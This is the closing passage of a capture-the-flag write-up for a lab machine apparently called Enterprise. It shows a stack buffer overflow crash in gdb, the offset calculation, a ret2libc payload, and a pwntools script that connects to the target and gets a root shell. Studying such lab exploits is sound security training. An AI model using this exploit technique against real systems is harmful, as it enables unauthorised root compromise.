    LCARS Bridge Secondary Controls -- Main Menu:
    
    1. Navigation
    2. Ships Log
    3. Science
    4. Security
    5. StellaCartography
    6. Engineering
    7. Exit
    Waiting for input:
    4
    Disable Security Force Fields
    Enter Security Override:
    AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%yA%zAs%AssAsBAs$AsnAsCAs-As(AsDAs;As)AsEAsaAs0AsFAsbAs1AsGAscAs2AsHAsdAs3AsIAseAs4AsJAsfAs5AsKAsgAs6A
    
    Program received signal SIGSEGV, Segmentation fault.
    [----------------------------------registers-----------------------------------]
    EAX: 0x216
    EBX: 0x73254125 ('%A%s')
    ECX: 0x7ffffde9
    EDX: 0xf7fab010 --> 0x0
    ESI: 0xf7fa9000 --> 0x1d6d6c
    EDI: 0xf7fa9000 --> 0x1d6d6c
    EBP: 0x41422541 ('A%BA')
    ESP: 0xffffd140 ("nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%yA%zAs%AssAsBAs$A"...)
    EIP: 0x25412425 ('%$A%')
    EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
    [-------------------------------------code-------------------------------------]
    Invalid $PC address: 0x25412425
    [------------------------------------stack-------------------------------------]
    0000| 0xffffd140 ("nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%yA%zAs%AssAsBAs$A"...)
    0004| 0xffffd144 ("A%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%yA%zAs%AssAsBAs$AsnAs"...)
    0008| 0xffffd148 ("%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%yA%zAs%AssAsBAs$AsnAsCAs-"...)
    0012| 0xffffd14c ("DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%yA%zAs%AssAsBAs$AsnAsCAs-As(A"...)
    0016| 0xffffd150 ("A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%yA%zAs%AssAsBAs$AsnAsCAs-As(AsDAs"...)
    0020| 0xffffd154 ("%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%yA%zAs%AssAsBAs$AsnAsCAs-As(AsDAs;As)"...)
    0024| 0xffffd158 ("aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%yA%zAs%AssAsBAs$AsnAsCAs-As(AsDAs;As)AsEA"...)
    0028| 0xffffd15c ("A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%yA%zAs%AssAsBAs$AsnAsCAs-As(AsDAs;As)AsEAsaAs"...)
    [------------------------------------------------------------------------------]
    Legend: code, data, rodata, value
    Stopped reason: SIGSEGV
    0x25412425 in ?? ()
    gdb-peda$ pattern_offset 500
    500 not found in pattern buffer
    gdb-peda$ pattern_offset
    Error: missing argument
    Search for offset of a value in cyclic pattern
    Set "pattern" option for basic/extended pattern type
    Usage:
        pattern_offset value
    
    gdb-peda$ pattern_offset %$A%
    %$A% found at offset: 212
    
    

Here we found the offset of our pattern (that was 500 chars) at 212. now we just need to find the addresses of system, +9999999 and sh in order to get our root shell using the following command within gdb : **find &system;,+9999999,"sh"** and once we're done we arrive at the following payload :
    
    
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x60\xc0\xe4\xf7\xf0\xfa\xe3\xf7\xd5\xdd\xf6\xf7
    

Which is basically 212 As, + system's memory address, + exit + /bin/sh. Another way of doing things is using a python script used to connect remotely to the machine, and directly execute the binary with the correct payload, which effectively gives us a root shell on the machine.
    
    
    #!/usr/bin/env python2
    import time
    import struct
    from pwn import *
    from subprocess import *
    
    DEBUG = False
    RHOST = "10.10.10.61"
    RPORT = 32812
    
    def conv(num):
        return struct.pack("<****I",num)
    
    payload = "A" * 212
    payload += conv(0xf7e4c060) # system()
    payload += conv(0xf7e3faf0) # exit()
    payload += conv(0xf7f6ddd5) # 'sh'
    
    r = remote(RHOST, RPORT)
    r.recvuntil("Enter Bridge Access Code: ")
    r.sendline("picarda1")
    r.recvuntil("Waiting for input: ")
    r.sendline("4")
    r.recvuntil("Enter Security Override:")
    r.sendline(payload)
    r.interactive()

Save it locally, and then execute it : 
    
    
      λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Enterprise]
    → ./autopwn.py
    zsh: permission denied: ./autopwn.py
    
    λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Enterprise]
    → chmod +x autopwn.py
    
    λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Enterprise]
    → ./autopwn.py
    [+] Opening connection to 10.10.10.61 on port 32812: Done
    [*] Switching to interactive mode
    
    $ id
    uid=0(root) gid=0(root) groups=0(root)
    $ cat /root/root.txt
    cfXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
    

And that's it ! we have been able to print out the root flag. 

## **Conclusion**

Here we can see the progress graph :

![](img/14_graph.png)

